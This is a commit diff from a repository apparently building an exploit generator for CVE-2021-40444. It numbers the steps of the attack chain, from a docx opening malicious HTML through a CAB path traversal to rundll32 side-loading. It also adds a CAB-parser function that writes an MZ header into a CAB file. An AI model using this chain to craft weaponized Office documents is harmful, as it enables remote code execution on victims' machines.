r3pek/CVE-2021-40444
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Minor Edit in Cab Parser

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d3adc0de 2021-09-15 23:53:37 +01:00
parent 7562cfa66a
commit 53af9514ef
2 changed files with 18 additions and 10 deletions
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18
README.md
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@ -14,15 +14,15 @@ So far, the only valuable resources I've seen to create a fully working generato
The above resources outline a lot of the requirements needed to create a full chain. As I do not desire The above resources outline a lot of the requirements needed to create a full chain. As I do not desire
### Chain ### Exploit Chain
* Docx opened 1. Docx opened
* Relationship stored in document.xml.rels points to malicious html 2. Relationship stored in document.xml.rels points to malicious html
* IE preview is launched to open the HTML link 3. IE preview is launched to open the HTML link
* JScript within the HTML contains an object pointing to a CAB file, and an iframe pointing to an INF file, 4. JScript within the HTML contains an object pointing to a CAB file, and an iframe pointing to an INF file,
prefixed with the ".cpl:" directive prefixed with the ".cpl:" directive
* The cab file is opened, the INF file stored in the %TEMP%\Low directory 5. The cab file is opened, the INF file stored in the %TEMP%\Low directory
* Due to a Path traversal (ZipSlip) vulnerability in the CAB, it's possible to store the INF in %TEMP% 6. Due to a Path traversal (ZipSlip) vulnerability in the CAB, it's possible to store the INF in %TEMP%
* Then, the INF file is opened with the ".cpl:" directive, causing the side-loading of the INF file via rundll32 7. Then, the INF file is opened with the ".cpl:" directive, causing the side-loading of the INF file via rundll32
(if this is a DLL) (if this is a DLL)
### Overlooked Requirements ### Overlooked Requirements

10
cab_parser.py
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@ -200,10 +200,18 @@ def parse(file):
data = open(file, "rb").read() data = open(file, "rb").read()
cab = Cab(data=data) cab = Cab(data=data)
print(cab.to_string()) print(cab.to_string())
def change_e_magic(cab: Cab, value: bytes):
if not value or not isinstance(value, bytes) or len(value) != 4:
return
new_cab = cab.change_bytes(offset=0x58, size=4, value=b"MZ\x90\x00") new_cab = cab.change_bytes(offset=0x58, size=4, value=b"MZ\x90\x00")
print(Cab(new_cab).to_string()) print(Cab(new_cab).to_string())
def save(cab: Cab, file: str):
with open(file, "wb") as out: with open(file, "wb") as out:
out.write(Cab(new_cab).to_bytes()) out.write(cab.to_bytes())
if __name__ == "__main__": if __name__ == "__main__":